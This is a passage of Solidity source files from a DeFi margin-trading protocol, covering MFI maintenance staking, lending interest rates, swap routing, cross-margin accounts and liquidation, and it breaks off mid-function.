event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./RoleAware.sol";
import "./Fund.sol";
import "./CrossMarginTrading.sol";
import "../libraries/IncentiveReporter.sol";
/**
@title Here we support staking for MFI incentives as well as
staking to perform the maintenance role.
*/
contract Admin is RoleAware {
/// Margenswap (MFI) token address
address public immutable MFI;
mapping(address => uint256) public stakes;
uint256 public totalStakes;
uint256 public constant mfiStakeTranche = 1;
uint256 public maintenanceStakePerBlock = 15 ether;
mapping(address => address) public nextMaintenanceStaker;
mapping(address => mapping(address => bool)) public maintenanceDelegateTo;
address public currentMaintenanceStaker;
address public prevMaintenanceStaker;
uint256 public currentMaintenanceStakerStartBlock;
address public immutable lockedMFI;
constructor(
address _MFI,
address _lockedMFI,
address lockedMFIDelegate,
address _roles
) RoleAware(_roles) {
MFI = _MFI;
lockedMFI = _lockedMFI;
// for initialization purposes and to ensure availability of service
// the team's locked MFI participate in maintenance staking only
// (not in the incentive staking part)
// this implies some trust of the team to execute, which we deem reasonable
// since the locked stake is temporary and diminishing as well as the fact
// that the team is heavily invested in the protocol and incentivized
// by fees like any other maintainer
// furthermore others could step in to liquidate via the attacker route
// and take away the team fees if they were delinquent
nextMaintenanceStaker[_lockedMFI] = _lockedMFI;
currentMaintenanceStaker = _lockedMFI;
prevMaintenanceStaker = _lockedMFI;
maintenanceDelegateTo[_lockedMFI][lockedMFIDelegate];
currentMaintenanceStakerStartBlock = block.number;
}
/// Maintence stake setter
function setMaintenanceStakePerBlock(uint256 amount)
external
onlyOwnerExec
{
maintenanceStakePerBlock = amount;
}
function _stake(address holder, uint256 amount) internal {
Fund(fund()).depositFor(holder, MFI, amount);
stakes[holder] += amount;
totalStakes += amount;
IncentiveReporter.addToClaimAmount(MFI, holder, amount);
}
/// Deposit a stake for sender
function depositStake(uint256 amount) external {
_stake(msg.sender, amount);
}
function _withdrawStake(
address holder,
uint256 amount,
address recipient
) internal {
// overflow failure desirable
stakes[holder] -= amount;
totalStakes -= amount;
Fund(fund()).withdraw(MFI, recipient, amount);
IncentiveReporter.subtractFromClaimAmount(MFI, holder, amount);
}
/// Withdraw stake for sender
function withdrawStake(uint256 amount) external {
require(
!isAuthorizedStaker(msg.sender),
"You can't withdraw while you're authorized staker"
);
_withdrawStake(msg.sender, amount, msg.sender);
}
/// Deposit maintenance stake
function depositMaintenanceStake(uint256 amount) external {
require(
amount + stakes[msg.sender] >= maintenanceStakePerBlock,
"Insufficient stake to call even one block"
);
_stake(msg.sender, amount);
if (nextMaintenanceStaker[msg.sender] == address(0)) {
nextMaintenanceStaker[msg.sender] = getUpdatedCurrentStaker();
nextMaintenanceStaker[prevMaintenanceStaker] = msg.sender;
}
}
function getMaintenanceStakerStake(address staker)
public
view
returns (uint256)
{
if (staker == lockedMFI) {
return IERC20(MFI).balanceOf(lockedMFI) / 2;
} else {
return stakes[staker];
}
}
function getUpdatedCurrentStaker() public returns (address) {
uint256 currentStake =
getMaintenanceStakerStake(currentMaintenanceStaker);
if (
(block.number - currentMaintenanceStakerStartBlock) *
maintenanceStakePerBlock >=
currentStake
) {
currentMaintenanceStakerStartBlock = block.number;
prevMaintenanceStaker = currentMaintenanceStaker;
currentMaintenanceStaker = nextMaintenanceStaker[
currentMaintenanceStaker
];
currentStake = getMaintenanceStakerStake(currentMaintenanceStaker);
if (maintenanceStakePerBlock > currentStake) {
// delete current from daisy chain
address nextOne =
nextMaintenanceStaker[currentMaintenanceStaker];
nextMaintenanceStaker[prevMaintenanceStaker] = nextOne;
nextMaintenanceStaker[currentMaintenanceStaker] = address(0);
currentMaintenanceStaker = nextOne;
currentStake = getMaintenanceStakerStake(
currentMaintenanceStaker
);
}
}
return currentMaintenanceStaker;
}
function viewCurrentMaintenanceStaker()
public
view
returns (address staker, uint256 startBlock)
{
staker = currentMaintenanceStaker;
uint256 currentStake = getMaintenanceStakerStake(staker);
startBlock = currentMaintenanceStakerStartBlock;
if (
(block.number - startBlock) * maintenanceStakePerBlock >=
currentStake
) {
staker = nextMaintenanceStaker[staker];
currentStake = getMaintenanceStakerStake(staker);
startBlock = block.number;
if (maintenanceStakePerBlock > currentStake) {
staker = nextMaintenanceStaker[staker];
}
}
}
/// Add a delegate for staker
function addDelegate(address forStaker, address delegate) external {
require(
msg.sender == forStaker ||
maintenanceDelegateTo[forStaker][msg.sender],
"msg.sender not authorized to delegate for staker"
);
maintenanceDelegateTo[forStaker][delegate] = true;
}
/// Remove a delegate for staker
function removeDelegate(address forStaker, address delegate) external {
require(
msg.sender == forStaker ||
maintenanceDelegateTo[forStaker][msg.sender],
"msg.sender not authorized to delegate for staker"
);
maintenanceDelegateTo[forStaker][delegate] = false;
}
function isAuthorizedStaker(address caller)
public
returns (bool isAuthorized)
{
address currentStaker = getUpdatedCurrentStaker();
isAuthorized =
currentStaker == caller ||
maintenanceDelegateTo[currentStaker][caller];
}
/// Penalize a staker
function penalizeMaintenanceStake(
address maintainer,
uint256 penalty,
address recipient
) external returns (uint256 stakeTaken) {
require(
isStakePenalizer(msg.sender),
"msg.sender not authorized to penalize stakers"
);
if (penalty > stakes[maintainer]) {
stakeTaken = stakes[maintainer];
} else {
stakeTaken = penalty;
}
_withdrawStake(maintainer, stakeTaken, recipient);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./RoleAware.sol";
/// @title Base lending behavior
abstract contract BaseLending {
uint256 constant FP48 = 2**48;
uint256 constant ACCUMULATOR_INIT = 10**18;
uint256 constant hoursPerYear = 365 days / (1 hours);
uint256 constant CHANGE_POINT = 79;
uint256 public normalRatePerPercent =
(FP48 * 15) / hoursPerYear / CHANGE_POINT / 100;
uint256 public highRatePerPercent =
(FP48 * (194 - 15)) / hoursPerYear / (100 - CHANGE_POINT) / 100;
struct YieldAccumulator {
uint256 accumulatorFP;
uint256 lastUpdated;
uint256 hourlyYieldFP;
}
struct LendingMetadata {
uint256 totalLending;
uint256 totalBorrowed;
uint256 lendingCap;
}
mapping(address => LendingMetadata) public lendingMeta;
/// @dev accumulate interest per issuer (like compound indices)
mapping(address => YieldAccumulator) public borrowYieldAccumulators;
/// @dev simple formula for calculating interest relative to accumulator
function applyInterest(
uint256 balance,
uint256 accumulatorFP,
uint256 yieldQuotientFP
) internal pure returns (uint256) {
// 1 * FP / FP = 1
return (balance * accumulatorFP) / yieldQuotientFP;
}
function currentLendingRateFP(uint256 totalLending, uint256 totalBorrowing)
internal
view
returns (uint256 rate)
{
rate = FP48;
uint256 utilizationPercent = (100 * totalBorrowing) / totalLending;
if (utilizationPercent < CHANGE_POINT) {
rate += utilizationPercent * normalRatePerPercent;
} else {
rate +=
CHANGE_POINT *
normalRatePerPercent +
(utilizationPercent - CHANGE_POINT) *
highRatePerPercent;
}
}
/// @dev minimum
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) {
return b;
} else {
return a;
}
}
/// @dev maximum
function max(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
/// Available tokens to this issuance
function issuanceBalance(address issuance)
internal
view
virtual
returns (uint256);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./Fund.sol";
import "../libraries/UniswapStyleLib.sol";
abstract contract BaseRouter {
modifier ensure(uint256 deadline) {
require(deadline >= block.timestamp, "Trade has expired");
_;
}
// **** SWAP ****
/// @dev requires the initial amount to have already been sent to the first pair
/// and for pairs to be vetted (which getAmountsIn / getAmountsOut do)
function _swap(
uint256[] memory amounts,
address[] memory pairs,
address[] memory tokens,
address _to
) internal {
for (uint256 i; i < pairs.length; i++) {
(address input, address output) = (tokens[i], tokens[i + 1]);
(address token0, ) = UniswapStyleLib.sortTokens(input, output);
uint256 amountOut = amounts[i + 1];
(uint256 amount0Out, uint256 amount1Out) =
input == token0
? (uint256(0), amountOut)
: (amountOut, uint256(0));
address to = i < pairs.length - 1 ? pairs[i + 1] : _to;
IUniswapV2Pair pair = IUniswapV2Pair(pairs[i]);
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./Fund.sol";
import "./Lending.sol";
import "./RoleAware.sol";
import "./PriceAware.sol";
// Goal: all external functions only accessible to margintrader role
// except for view functions of course
struct CrossMarginAccount {
uint256 lastDepositBlock;
address[] borrowTokens;
// borrowed token address => amount
mapping(address => uint256) borrowed;
// borrowed token => yield quotient
mapping(address => uint256) borrowedYieldQuotientsFP;
address[] holdingTokens;
// token held in portfolio => amount
mapping(address => uint256) holdings;
// boolean value of whether an account holds a token
mapping(address => bool) holdsToken;
}
abstract contract CrossMarginAccounts is RoleAware, PriceAware {
/// @dev gets used in calculating how much accounts can borrow
uint256 public leveragePercent = 300;
/// @dev percentage of assets held per assets borrowed at which to liquidate
uint256 public liquidationThresholdPercent = 115;
/// @dev record of all cross margin accounts
mapping(address => CrossMarginAccount) internal marginAccounts;
/// @dev total token caps
mapping(address => uint256) public tokenCaps;
/// @dev tracks total of short positions per token
mapping(address => uint256) public totalShort;
/// @dev tracks total of long positions per token
mapping(address => uint256) public totalLong;
uint256 public coolingOffPeriod = 10;
/// @dev add an asset to be held by account
function addHolding(
CrossMarginAccount storage account,
address token,
uint256 depositAmount
) internal {
if (!hasHoldingToken(account, token)) {
account.holdingTokens.push(token);
account.holdsToken[token] = true;
}
account.holdings[token] += depositAmount;
}
/// @dev adjust account to reflect borrowing of token amount
function borrow(
CrossMarginAccount storage account,
address borrowToken,
uint256 borrowAmount
) internal {
if (!hasBorrowedToken(account, borrowToken)) {
account.borrowTokens.push(borrowToken);
account.borrowedYieldQuotientsFP[borrowToken] = Lending(lending())
.getUpdatedBorrowYieldAccuFP(borrowToken);
account.borrowed[borrowToken] = borrowAmount;
} else {
(uint256 oldBorrowed, uint256 accumulatorFP) =
Lending(lending()).applyBorrowInterest(
account.borrowed[borrowToken],
borrowToken,
account.borrowedYieldQuotientsFP[borrowToken]
);
account.borrowedYieldQuotientsFP[borrowToken] = accumulatorFP;
account.borrowed[borrowToken] = oldBorrowed + borrowAmount;
}
require(positiveBalance(account), "Insufficient balance");
}
/// @dev checks whether account is in the black, deposit + earnings relative to borrowed
function positiveBalance(CrossMarginAccount storage account)
internal
returns (bool)
{
uint256 loan = loanInPeg(account);
uint256 holdings = holdingsInPeg(account);
// The following condition should hold:
// holdings / loan >= leveragePercent / (leveragePercent - 100)
// =>
return holdings * (leveragePercent - 100) >= loan * leveragePercent;
}
/// @dev internal function adjusting holding and borrow balances when debt extinguished
function extinguishDebt(
CrossMarginAccount storage account,
address debtToken,
uint256 extinguishAmount
) internal {
// will throw if insufficient funds
(uint256 borrowAmount, uint256 newYieldQuot) =
Lending(lending()).applyBorrowInterest(
account.borrowed[debtToken],
debtToken,
account.borrowedYieldQuotientsFP[debtToken]
);
uint256 newBorrowAmount = borrowAmount - extinguishAmount;
account.borrowed[debtToken] = newBorrowAmount;
if (newBorrowAmount > 0) {
account.borrowedYieldQuotientsFP[debtToken] = newYieldQuot;
} else {
delete account.borrowedYieldQuotientsFP[debtToken];
bool decrement = false;
uint256 len = account.borrowTokens.length;
for (uint256 i; len > i; i++) {
address currToken = account.borrowTokens[i];
if (currToken == debtToken) {
decrement = true;
} else if (decrement) {
account.borrowTokens[i - 1] = currToken;
}
}
account.borrowTokens.pop();
}
}
/// @dev checks whether an account holds a token
function hasHoldingToken(CrossMarginAccount storage account, address token)
internal
view
returns (bool)
{
return account.holdsToken[token];
}
/// @dev checks whether an account has borrowed a token
function hasBorrowedToken(CrossMarginAccount storage account, address token)
internal
view
returns (bool)
{
return account.borrowedYieldQuotientsFP[token] > 0;
}
/// @dev calculate total loan in reference currency, including compound interest
function loanInPeg(CrossMarginAccount storage account)
internal
returns (uint256)
{
return
sumTokensInPegWithYield(
account.borrowTokens,
account.borrowed,
account.borrowedYieldQuotientsFP
);
}
/// @dev total of assets of account, expressed in reference currency
function holdingsInPeg(CrossMarginAccount storage account)
internal
returns (uint256)
{
return sumTokensInPeg(account.holdingTokens, account.holdings);
}
/// @dev check whether an account can/should be liquidated
function belowMaintenanceThreshold(CrossMarginAccount storage account)
internal
returns (bool)
{
uint256 loan = loanInPeg(account);
uint256 holdings = holdingsInPeg(account);
// The following should hold:
// holdings / loan >= 1.1
// => holdings >= loan * 1.1
return 100 * holdings < liquidationThresholdPercent * loan;
}
/// @dev go through list of tokens and their amounts, summing up
function sumTokensInPeg(
address[] storage tokens,
mapping(address => uint256) storage amounts
) internal returns (uint256 totalPeg) {
uint256 len = tokens.length;
for (uint256 tokenId; tokenId < len; tokenId++) {
address token = tokens[tokenId];
totalPeg += PriceAware.getCurrentPriceInPeg(token, amounts[token]);
}
}
/// @dev go through list of tokens and their amounts, summing up
function viewTokensInPeg(
address[] storage tokens,
mapping(address => uint256) storage amounts
) internal view returns (uint256 totalPeg) {
uint256 len = tokens.length;
for (uint256 tokenId; tokenId < len; tokenId++) {
address token = tokens[tokenId];
totalPeg += PriceAware.viewCurrentPriceInPeg(token, amounts[token]);
}
}
/// @dev go through list of tokens and ammounts, summing up with interest
function sumTokensInPegWithYield(
address[] storage tokens,
mapping(address => uint256) storage amounts,
mapping(address => uint256) storage yieldQuotientsFP
) internal returns (uint256 totalPeg) {
uint256 len = tokens.length;
for (uint256 tokenId; tokenId < len; tokenId++) {
address token = tokens[tokenId];
totalPeg += yieldTokenInPeg(
token,
amounts[token],
yieldQuotientsFP
);
}
}
/// @dev go through list of tokens and ammounts, summing up with interest
function viewTokensInPegWithYield(
address[] storage tokens,
mapping(address => uint256) storage amounts,
mapping(address => uint256) storage yieldQuotientsFP
) internal view returns (uint256 totalPeg) {
uint256 len = tokens.length;
for (uint256 tokenId; tokenId < len; tokenId++) {
address token = tokens[tokenId];
totalPeg += viewYieldTokenInPeg(
token,
amounts[token],
yieldQuotientsFP
);
}
}
/// @dev calculate yield for token amount and convert to reference currency
function yieldTokenInPeg(
address token,
uint256 amount,
mapping(address => uint256) storage yieldQuotientsFP
) internal returns (uint256) {
uint256 yieldFP =
Lending(lending()).viewAccumulatedBorrowingYieldFP(token);
// 1 * FP / FP = 1
uint256 amountInToken = (amount * yieldFP) / yieldQuotientsFP[token];
return PriceAware.getCurrentPriceInPeg(token, amountInToken);
}
/// @dev calculate yield for token amount and convert to reference currency
function viewYieldTokenInPeg(
address token,
uint256 amount,
mapping(address => uint256) storage yieldQuotientsFP
) internal view returns (uint256) {
uint256 yieldFP =
Lending(lending()).viewAccumulatedBorrowingYieldFP(token);
// 1 * FP / FP = 1
uint256 amountInToken = (amount * yieldFP) / yieldQuotientsFP[token];
return PriceAware.viewCurrentPriceInPeg(token, amountInToken);
}
/// @dev move tokens from one holding to another
function adjustAmounts(
CrossMarginAccount storage account,
address fromToken,
address toToken,
uint256 soldAmount,
uint256 boughtAmount
) internal {
account.holdings[fromToken] = account.holdings[fromToken] - soldAmount;
addHolding(account, toToken, boughtAmount);
}
/// sets borrow and holding to zero
function deleteAccount(CrossMarginAccount storage account) internal {
uint256 len = account.borrowTokens.length;
for (uint256 borrowIdx; len > borrowIdx; borrowIdx++) {
address borrowToken = account.borrowTokens[borrowIdx];
totalShort[borrowToken] -= account.borrowed[borrowToken];
account.borrowed[borrowToken] = 0;
account.borrowedYieldQuotientsFP[borrowToken] = 0;
}
len = account.holdingTokens.length;
for (uint256 holdingIdx; len > holdingIdx; holdingIdx++) {
address holdingToken = account.holdingTokens[holdingIdx];
totalLong[holdingToken] -= account.holdings[holdingToken];
account.holdings[holdingToken] = 0;
account.holdsToken[holdingToken] = false;
}
delete account.borrowTokens;
delete account.holdingTokens;
}
/// @dev minimum
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) {
return b;
} else {
return a;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./CrossMarginAccounts.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
@title Handles liquidation of accounts below maintenance threshold
@notice Liquidation can be called by the authorized staker,
as determined in the Admin contract.
If the authorized staker is delinquent, other participants can jump
in and attack, taking their fees and potentially even their stake,
depending how delinquent the responsible authorized staker is.
*/
abstract contract CrossMarginLiquidation is CrossMarginAccounts {
event LiquidationShortfall(uint256 amount);
event AccountLiquidated(address account);
struct Liquidation {
uint256 buy;
uint256 sell;
uint256 blockNum;
}
/// record kept around until a stake attacker can claim their reward
struct AccountLiqRecord {
uint256 blockNum;
address loser;
uint256 amount;
address stakeAttacker;
}
mapping(address => Liquidation) liquidationAmounts;
address[] internal liquidationTokens;
address[] internal tradersToLiquidate;
mapping(address => uint256) public maintenanceFailures;
mapping(address => AccountLiqRecord) public stakeAttackRecords;
uint256 public avgLiquidationPerCall = 10;
uint256 public liqStakeAttackWindow = 5;
uint256 public MAINTAINER_CUT_PERCENT = 5;
uint256 public failureThreshold = 10;
/// Set failure threshold
function setFailureThreshold(uint256 threshFactor) external onlyOwnerExec {
failureThreshold = threshFactor;
}
/// Set liquidity stake attack window
function setLiqStakeAttackWindow(uint256 window) external onlyOwnerExec {
liqStakeAttackWindow = window;
}
/// Set maintainer's percent cut
function setMaintainerCutPercent(uint256 cut) external onlyOwnerExec {
MAINTAINER_CUT_PERCENT = cut;
}
/// @dev calcLiquidationAmounts does a number of tasks in this contract
/// and some of them are not straightforward.
/// First of all it aggregates liquidation amounts,
/// as well as which traders are ripe for liquidation, in storage (not in memory)
/// owing to the fact that arrays can't be pushed to and hash maps don't
/// exist in memory.
/// Then it also returns any stake attack funds if the stake was unsuccessful
/// (i.e. current caller is authorized). Also see context below.
function calcLiquidationAmounts(
address[] memory liquidationCandidates,
bool isAuthorized
) internal returns (uint256 attackReturns) {
liquidationTokens = new address[](0);
tradersToLiquidate = new address[](0);
for (
uint256 traderIndex = 0;
liquidationCandidates.length > traderIndex;
traderIndex++
) {
address traderAddress = liquidationCandidates[traderIndex];
CrossMarginAccount storage account = marginAccounts[traderAddress];
if (belowMaintenanceThreshold(account)) {
tradersToLiquidate.push(traderAddress);
uint256 len = account.holdingTokens.length;
for (uint256 sellIdx = 0; len > sellIdx; sellIdx++) {
address token = account.holdingTokens[sellIdx];
Liquidation storage liquidation = liquidationAmounts[token];
if (liquidation.blockNum != block.number) {
liquidation.sell = account.holdings[token];
liquidation.buy = 0;
liquidation.blockNum = block.number;
liquidationTokens.push(token);
} else {
liquidation.sell += account.holdings[token];
}
}
len = account.borrowTokens.length;
for (uint256 buyIdx = 0; len > buyIdx; buyIdx++) {
address token = account.borrowTokens[buyIdx];
Liquidation storage liquidation = liquidationAmounts[token];
(uint256 loanAmount, ) =
Lending(lending()).applyBorrowInterest(
account.borrowed[token],
token,
account.borrowedYieldQuotientsFP[token]
);
Lending(lending()).payOff(token, loanAmount);
if (liquidation.blockNum != block.number) {
liquidation.sell = 0;
liquidation.buy = loanAmount;
liquidation.blockNum = block.number;
liquidationTokens.push(token);
} else {
liquidation.buy += loanAmount;
}
}
}
AccountLiqRecord storage liqAttackRecord =
stakeAttackRecords[traderAddress];
if (isAuthorized) {
attackReturns += _disburseLiqAttack(liqAttackRecord);
}
}
}
function _disburseLiqAttack(AccountLiqRecord storage liqAttackRecord)
internal
returns (uint256 returnAmount)
{
if (liqAttackRecord.amount > 0) {
// validate attack records, if any
uint256 blockDiff =
min(
block.number - liqAttackRecord.blockNum,
liqStakeAttackWindow
);
uint256 attackerCut =
(liqAttackRecord.amount * blockDiff) / liqStakeAttackWindow;
Fund(fund()).withdraw(
PriceAware.peg,
liqAttackRecord.stakeAttacker,
attackerCut
);
Admin a = Admin(admin());
uint256 penalty =
(a.maintenanceStakePerBlock() * attackerCut) /
avgLiquidationPerCall;
a.penalizeMaintenanceStake(
liqAttackRecord.loser,
penalty,
liqAttackRecord.stakeAttacker
);
// return remainder, after cut was taken to authorized stakekr
returnAmount = liqAttackRecord.amount - attackerCut;
}
}
/// Disburse liquidity stake attacks
function disburseLiqStakeAttacks(address[] memory liquidatedAccounts)
external
{
for (uint256 i = 0; liquidatedAccounts.length > i; i++) {
address liqAccount = liquidatedAccounts[i];
AccountLiqRecord storage liqAttackRecord =
stakeAttackRecords[liqAccount];
if (
block.number > liqAttackRecord.blockNum + liqStakeAttackWindow
) {
_disburseLiqAttack(liqAttackRecord);
delete stakeAttackRecords[liqAccount];
}
}
}
function liquidateFromPeg() internal returns (uint256 pegAmount) {
uint256 len = liquidationTokens.length;
for (uint256 tokenIdx = 0; len > tokenIdx; tokenIdx++) {
address buyToken = liquidationTokens[tokenIdx];
Liquidation storage liq = liquidationAmounts[buyToken];
if (liq.buy > liq.sell) {
pegAmount += PriceAware.liquidateFromPeg(
buyToken,
liq.buy - liq.sell
);
delete liquidationAmounts[buyToken];
}
}
}
function liquidateToPeg() internal returns (uint256 pegAmount) {
uint256 len = liquidationTokens.length;
for (uint256 tokenIndex = 0; len > tokenIndex; tokenIndex++) {
address token = liquidationTokens[tokenIndex];
Liquidation storage liq = liquidationAmounts[token];
if (liq.sell > liq.buy) {
uint256 sellAmount = liq.sell - liq.buy;
pegAmount += PriceAware.liquidateToPeg(token, sellAmount);
delete liquidationAmounts[token];
}
}
}
function maintainerIsFailing() internal view returns (bool) {
(address currentMaintainer, ) =
Admin(admin()).viewCurrentMaintenanceStaker();
return
maintenanceFailures[currentMaintainer] >
failureThreshold * avgLiquidationPerCall;
}
/// called by maintenance stakers to liquidate accounts below liquidation threshold
function liquidate(address[] memory liquidationCandidates)
external
noIntermediary
returns (uint256 maintainerCut)
{
bool isAuthorized = Admin(admin()).isAuthorizedStaker(msg.sender);
bool canTakeNow = isAuthorized || maintainerIsFailing();
// calcLiquidationAmounts does a lot of the work here
// * aggregates both sell and buy side targets to be liquidated
// * returns attacker cuts to them
// * aggregates any returned fees from unauthorized (attacking) attempts
maintainerCut = calcLiquidationAmounts(
liquidationCandidates,
isAuthorized
);
uint256 sale2pegAmount = liquidateToPeg();
uint256 peg2targetCost = liquidateFromPeg();
delete liquidationTokens;
// this may be a bit imprecise, since individual shortfalls may be obscured
// by overall returns and the maintainer cut is taken out of the net total,
// but it gives us the general picture
uint256 costWithCut =
(peg2targetCost * (100 + MAINTAINER_CUT_PERCENT)) / 100;
if (costWithCut > sale2pegAmount) {
emit LiquidationShortfall(costWithCut - sale2pegAmount);
canTakeNow =
canTakeNow &&
IERC20(peg).balanceOf(fund()) > costWithCut;
}
address loser = address(0);
if (!canTakeNow) {
// whoever is the current responsible maintenance staker
// and liable to lose their stake
loser = Admin(admin()).getUpdatedCurrentStaker();
}
// iterate over traders and send back their money
// as well as giving attackers their due, in case caller isn't authorized
for (
uint256 traderIdx = 0;
tradersToLiquidate.length > traderIdx;
traderIdx++
) {
address traderAddress = tradersToLiquidate[traderIdx];
CrossMarginAccount storage account = marginAccounts[traderAddress];
uint256 holdingsValue = holdingsInPeg(account);
uint256 borrowValue = loanInPeg(account);
// 5% of value borrowed
uint256 maintainerCut4Account =
(borrowValue * MAINTAINER_CUT_PERCENT) / 100;
maintainerCut += maintainerCut4Account;
if (!canTakeNow) {
// This could theoretically lead to a previous attackers
// record being overwritten, but only if the trader restarts
// their account and goes back into the red within the short time window
// which would be a costly attack requiring collusion without upside
AccountLiqRecord storage liqAttackRecord =
stakeAttackRecords[traderAddress];
liqAttackRecord.amount = maintainerCut4Account;
liqAttackRecord.stakeAttacker = msg.sender;
liqAttackRecord.blockNum = block.number;
liqAttackRecord.loser = loser;
}
// send back trader money
// include 1% for protocol
uint256 forfeited =
maintainerCut4Account + (borrowValue * 101) / 100;
if (holdingsValue > forfeited) {
// send remaining funds back to trader
Fund(fund()).withdraw(
PriceAware.peg,
traderAddress,
holdingsValue - forfeited
);
}
emit AccountLiquidated(traderAddress);
deleteAccount(account);
}
avgLiquidationPerCall =
(avgLiquidationPerCall * 99 + maintainerCut) /
100;
if (canTakeNow) {
Fund(fund()).withdraw(PriceAware.peg, msg.sender, maintainerCut);
}
address currentMaintainer = Admin(admin()).getUpdatedCurrentStaker();
if (isAuthorized) {
if (maintenanceFailures[currentMaintainer] > maintainerCut) {
maintenanceFailures[currentMaintainer] -= maintainerCut;
} else {
maintenanceFailures[currentMaintainer] = 0;
}
} else {
maintenanceFailures[currentMaintainer] += maintainerCut;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./Fund.sol";
import "./Lending.sol";
import "./RoleAware.sol";
import "./CrossMarginLiquidation.sol";
// Goal: all external functions only accessible to margintrader role
// except for view functions of course
contract CrossMarginTrading is CrossMarginLiquidation, IMarginTrading {
constructor(address _peg, address _roles)
RoleAware(_roles)
PriceAware(_peg)
{}
/// @dev admin function to set the token cap
function setTokenCap(address token, uint256 cap)
external
onlyOwnerExecActivator
{
tokenCaps[token] = cap;
}
/// @dev setter for cooling off period for withdrawing funds after deposit
function setCoolingOffPeriod(uint256 blocks) external onlyOwnerExec {
coolingOffPeriod = blocks;
}
/// @dev admin function to set leverage
function setLeveragePercent(uint256 _leveragePercent)
external
onlyOwnerExec
{
leveragePercent = _leveragePercent;
}
/// @dev admin function to set liquidation threshold
function setLiquidationThresholdPercent(uint256 threshold)
external
onlyOwnerExec
{
liquidationThresholdPercent = threshold;
}
/// @dev gets called by router to affirm a deposit to an account
function registerDeposit(
address trader,
address token,
uint256 depositAmount
) external override returns (uint256 extinguishableDebt) {
require(isMarginTrader(msg.sender), "Calling contr. not authorized");
CrossMarginAccount storage account = marginAccounts[trader];
account.lastDepositBlock = block.number;
if (account.borrowed[token] > 0) {
extinguishableDebt = min(depositAmount, account.borrowed[token]);
extinguishDebt(account, token, extinguishableDebt);
totalShort[token] -= extinguishableDebt;
}
// no overflow because depositAmount >= extinguishableDebt
uint256 addedHolding = depositAmount - extinguishableDebt;
_registerDeposit(account, token, addedHolding);
}
function _registerDeposit(
CrossMarginAccount storage account,
address token,
uint256 addedHolding
) internal {
addHolding(account, token, addedHolding);
totalLong[token] += addedHolding;
require(
tokenCaps[token] >= totalLong[token],
"Exceeds global token cap"
);
}
/// @dev gets called by router to affirm borrowing event
function registerBorrow(
address trader,
address borrowToken,
uint256 borrowAmount
) external override {
require(isMarginTrader(msg.sender), "Calling contr. not authorized");
CrossMarginAccount storage account = marginAccounts[trader];
addHolding(account, borrowToken, borrowAmount);
_registerBorrow(account, borrowToken, borrowAmount);
}
function _registerBorrow(
CrossMarginAccount storage account,
address borrowToken,
uint256 borrowAmount
) internal {
totalShort[borrowToken] += borrowAmount;
totalLong[borrowToken] += borrowAmount;
require(
tokenCaps[borrowToken] >= totalShort[borrowToken] &&
tokenCaps[borrowToken] >= totalLong[borrowToken],
"Exceeds global token cap"
);
borrow(account, borrowToken, borrowAmount);
}
/// @dev gets called by router to affirm withdrawal of tokens from account
function registerWithdrawal(
address trader,
address withdrawToken,
uint256 withdrawAmount
) external override {
require(isMarginTrader(msg.sender), "Calling contr not authorized");
CrossMarginAccount storage account = marginAccounts[trader];
_registerWithdrawal(account, withdrawToken, withdrawAmount);
}
function _registerWithdrawal(
CrossMarginAccount storage account,
address withdrawToken,
uint256 withdrawAmount
) internal {
require(
block.number > account.lastDepositBlock + coolingOffPeriod,
"No withdrawal soon after deposit"
);
totalLong[withdrawToken] -= withdrawAmount;
// throws on underflow
account.holdings[withdrawToken] =
account.holdings[withdrawToken] -
withdrawAmount;
require(positiveBalance(account), "Insufficient balance");
}
/// @dev overcollateralized borrowing on a cross margin account, called by router
function registerOvercollateralizedBorrow(
address trader,
address depositToken,
uint256 depositAmount,
address borrowToken,
uint256 withdrawAmount
) external override {
require(isMarginTrader(msg.sender), "Calling contr. not authorized");
CrossMarginAccount storage account = marginAccounts[trader];
_registerDeposit(account, depositToken, depositAmount);
_registerBorrow(account, borrowToken, withdrawAmount);
_registerWithdrawal(account, borrowToken, withdrawAmount);
account.lastDepositBlock = block.number;
}
/// @dev gets called by router to register a trade and borrow and extinguish as necessary
function registerTradeAndBorrow(
address trader,
address tokenFrom,
address tokenTo,
uint256 inAmount,
uint256 outAmount
)
external
override
returns (uint256 extinguishableDebt, uint256 borrowAmount)
{
require(isMarginTrader(msg.sender), "Calling contr. not an authorized");
CrossMarginAccount storage account = marginAccounts[trader];
if (account.borrowed[tokenTo] > 0) {
extinguishableDebt = min(outAmount, account.borrowed[tokenTo]);
extinguishDebt(account, tokenTo, extinguishableDebt);
totalShort[tokenTo] -= extinguishableDebt;
}
uint256 sellAmount = inAmount;
uint256 fromHoldings = account.holdings[tokenFrom];
if (inAmount > fromHoldings) {
sellAmount = fromHoldings;
/// won't overflow
borrowAmount = inAmount - sellAmount;
}
if (inAmount > borrowAmount) {
totalLong[tokenFrom] -= inAmount - borrowAmount;
}
if (outAmount > extinguishableDebt) {
totalLong[tokenTo] += outAmount - extinguishableDebt;
}
